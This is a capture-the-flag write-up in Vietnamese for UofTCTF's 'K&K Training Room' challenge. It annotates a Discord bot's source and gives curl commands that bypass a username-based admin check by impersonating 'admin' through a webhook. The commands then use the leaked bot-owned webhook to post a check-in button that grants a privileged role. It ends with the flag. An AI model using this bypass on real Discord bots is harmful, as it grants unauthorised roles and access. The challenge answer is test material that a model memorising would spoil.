# UofTCTF - K&K Training Room

Bài cho link server discord và file zip chứa source của con Bot trong server
Khi join server thì sẽ chỉ có duy nhất 1 kênh public và đoạn chat như con Bot gửi. Lưu ý kênh chat không cho soạn tin và chúng ta cũng chẳng có cái role gì cả

3 file mà đề bài cho lần lượt là :
- index.js
- package.json
- package-lock.json
Chúng ta chỉ cần tập trung vào `index.js`
```javascript=
const CONFIG = {
ROLE_NAME: 'K&K',
ADMIN_NAME: 'admin',
WEBHOOK_NAME: 'K&K Announcer',
TARGET_GUILD_ID: '1455821434927579198',
};
```
Đối tượng CONFIG này là đối tượng ta sẽ khai thác vào
Mình sẽ lấy luôn các đoạn code cần thiết của file index.js và comment bên cạnh cho dễ trace
```javascript=
const CONFIG = {
ROLE_NAME: 'K&K',
ADMIN_NAME: 'admin',
WEBHOOK_NAME: 'K&K Announcer',
TARGET_GUILD_ID: '1455821434927579198',
//id này chính là id của server discord chall, bật dev mode trong discord, sau đó copy id của server chall ra đối chiếu là sẽ thấy
};
const client = new Client({
intents: [
GatewayIntentBits.Guilds,
GatewayIntentBits.GuildMessages,
GatewayIntentBits.MessageContent,
],
});
const isAdmin = (message) => message.author.username === CONFIG.ADMIN_NAME;
// dòng này để check nếu mà tên người gửi tin nhắn bằng với 'admin' thì coi là isAdmin
client.on(Events.MessageCreate, async (message) => {
if (message.content !== '!webhook') return;
// nếu mà msg không phải là "!webhook" thì thoát bỏ hàm này
if (!isAdmin(message)) {
return message.reply(`Only \`${CONFIG.ADMIN_NAME}\` can set up the K&K announcer webhook.`);
}// check bằng hàm isAdmin, nếu k trả về true thì return luôn
const webhooks = await message.channel.fetchWebhooks();
const existingWebhook = webhooks.find((w) => w.owner?.id === client.user.id); //check webhook đã tồn tại chưa, VÀ LƯU Ý là phải do con bot tạo ra chứ không phải do user tạo
if (existingWebhook) {
return message.reply('Announcer webhook already exists.');
}
try {
const webhook = await message.channel.createWebhook({
name: CONFIG.WEBHOOK_NAME,
});//tạo webhook tại kênh hiện tại, tên là K&K Announcer(lấy từ đối tượng CONFIG)
const embed = new EmbedBuilder()
.setTitle('Announcer Webhook Created!') //thông báo đã tạo
.setDescription(webhook.url) // lấy url của webhook vừa tạo
.setFooter({ text: `“${randomQuote()}” — Gun` }) // thêm foooter random
.setColor(0xe4bfc8); //màu
await message.reply({ embeds: [embed] }); //in hết đống ở trên ra, đoạn này quan trọng vì chúng ta cần url webhook K&K Announcer vừa tạo
} catch (err) {
console.error('Webhook creation failed:', err);
message.reply('Failed to create announcer webhook.');
}
});
client.on(Events.InteractionCreate, async (interaction) => {// lắng nghe interact
if (!interaction.isButton() || interaction.customId !== 'checkin') return;
// không phải button hoặc button không có id là 'checkin' thì return luôn
const guild = client.guilds.cache.get(CONFIG.TARGET_GUILD_ID);
//dòng này cần quan tâm, giá trị guild này là nó đang lấy 1 id chỉ định sẵn trong các server mà con bot được cài vào. và giá trị này chính là id của server chall
if (!guild) {
return interaction.reply({
content: `Could not access guild (${CONFIG.TARGET_GUILD_ID}).`,
flags: MessageFlags.Ephemeral,
});
}
const role = guild.roles.cache.find(r => r.name === CONFIG.ROLE_NAME);
//tại server chall, check xem server có role K&K hay không
if (!role) {
return interaction.reply({
content: `Role **${CONFIG.ROLE_NAME}** not found in **${guild.name}**.`,
flags: MessageFlags.Ephemeral,
});
}// không có role K&K thì thoát
let member;
try {
member = await guild.members.fetch(interaction.user.id);
//tronng server chall, nó sẽ tìm id của user vừa interact và gán vào biến member
} catch {
return interaction.reply({
content: `You're not a member of **${guild.name}**.`,
flags: MessageFlags.Ephemeral,
// nếu không tìm thấy user trong server chall thì thông báo rồi thoát
});
}
const alreadyHasRole = member.roles.cache.has(role.id);
//check xem user đã có role K&K chưa
if (!alreadyHasRole) {
try {
await member.roles.add(role);// chưa có thì cấp role
} catch (err) {
console.error('Role assignment failed:', err);
return interaction.reply({
content: 'Failed to assign role. Check bot permissions.',
flags: MessageFlags.Ephemeral,
});
}
}
return interaction.reply({ // có role rồi thì thôi
content: alreadyHasRole
? `You're already checked in at **${guild.name}**.`
: `Checked in at **${guild.name}**! Assigned **${role.name}**.`,
flags: MessageFlags.Ephemeral,
});
});
```
Sau khi đã phân tích thì hướng đi sẽ đơn giản như sau :
- cài con bot vào server riêng, để có thể chat được
- tại server đó, tạo 1 webhook tên admin để bypass. Lý do phải tạo webhook tên admin vì chỉ còn cách đó, việc đổi tên user thành admin chỉ là đổi nickname, username nó cần là tên đăng nhập
- sau đó lấy id con webhook tên 'admin' vừa tạo, viết lệnh để nó nhắn `!webhook`
- sau đó con bot check tin nhắn sẽ tạo ra webhook của nó là K&K Announcer trong chính server riêng và nó còn leak luôn url của K&K Announcer. Việc ta cần làm đó là sử dụng url đó, viết lệnh để tạo button checkin rồi click vào. Do webhook K&K Announcer của con bot tạo nên nó sẽ gửi interaction đến chính con bot, lấy id của chúng ta, sau đó tìm trong server chall và cấp role K&K
- lúc có role K&K sẽ mở 1 kênh private và lấy flag :>
---
Tạo webhook tên admin tại server riêng

Lấy url của nó và thay vào lệnh sau
```bash
curl -H "Content-Type: application/json" \
-d '{"content":"!webhook"}' \
"_url_"
```
Sau đó con bot sẽ tạo webhook và leak url

Thay url đuợc leak vào lệnh sau để con webhook được bot tạo ra hiện button checkin
```bash
curl -X POST "_url_" \
-H "Content-Type: application/json" \
-d '{
"content":"K&K check-in",
"components":[
{"type":1,"components":[
{"type":2,"style":1,"label":"Check in","custom_id":"checkin"}
]}
]
}'
```
CLick vào button

Lấy phờ lác

FLAG : `uoftctf{tr41n_h4rd_w1n_345y_a625e2acd5ed}`